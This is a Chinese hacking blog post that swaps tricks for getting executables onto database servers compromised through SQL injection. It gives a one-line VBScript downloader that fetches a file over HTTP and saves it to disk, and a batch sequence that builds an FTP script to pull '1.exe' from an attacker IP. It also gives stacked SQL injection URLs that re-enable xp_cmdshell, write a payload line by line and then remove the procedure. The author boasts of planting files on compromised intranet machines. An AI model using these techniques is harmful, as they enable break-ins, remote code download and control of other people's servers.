我是在黑哥Blog看到的他写的,先引用黑哥的:
Quote:
文/superhei
解决办法:
1.iget.vbs一次写入
在vbs语句的接触是符号是: 所以我们iget.vbs可以这样写
Set x= CreateObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
这样我们可以一次echo成功,echo版本:
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >iget.vbs
2.bat调用ftp脚本的写法(by envymask)
echo ftp>1.vbs
echo open ip>2.vbs
echo u>3.vbs
echo s>4.vbs
echo binary>5.vbs
echo get 1.exe>6.vbs
echo bay>7.vbs
copy 1.vbs+2.vbs+3.vbs+4.vbs+5.vbs+6.vbs+7.vbs new.vbs
说说我的解决办法:
http://xxx.com/x.asp?id=1;Exec Master..xp_cmdshell 'echo xxxx1 > xxx.vbs';exec master..sp_dropextendedproc 'xp_cmdshell'-- http://xxx.com/x.asp?id=1;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')-- http://xxx.com/x.asp?id=1;Exec Master..xp_cmdshell 'echo xxxx2 >> xxx.vbs';exec master..sp_dropextendedproc 'xp_cmdshell'-- http://xxx.com/x.asp?id=1;use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')-- . . . |
原理很清楚了,我写的sqlcomm.exe就是用的这个原理使命令只运行一次的,这个经过我严格的测试,我曾经echo过100多K的文件(exe2bat生成的文件)到内网肉鸡,成功使用Debug的还原成exe,建议配合我写的exe2vbs,呵呵,每行512个字符,努力做到最少行,最近废话多多,就此打住。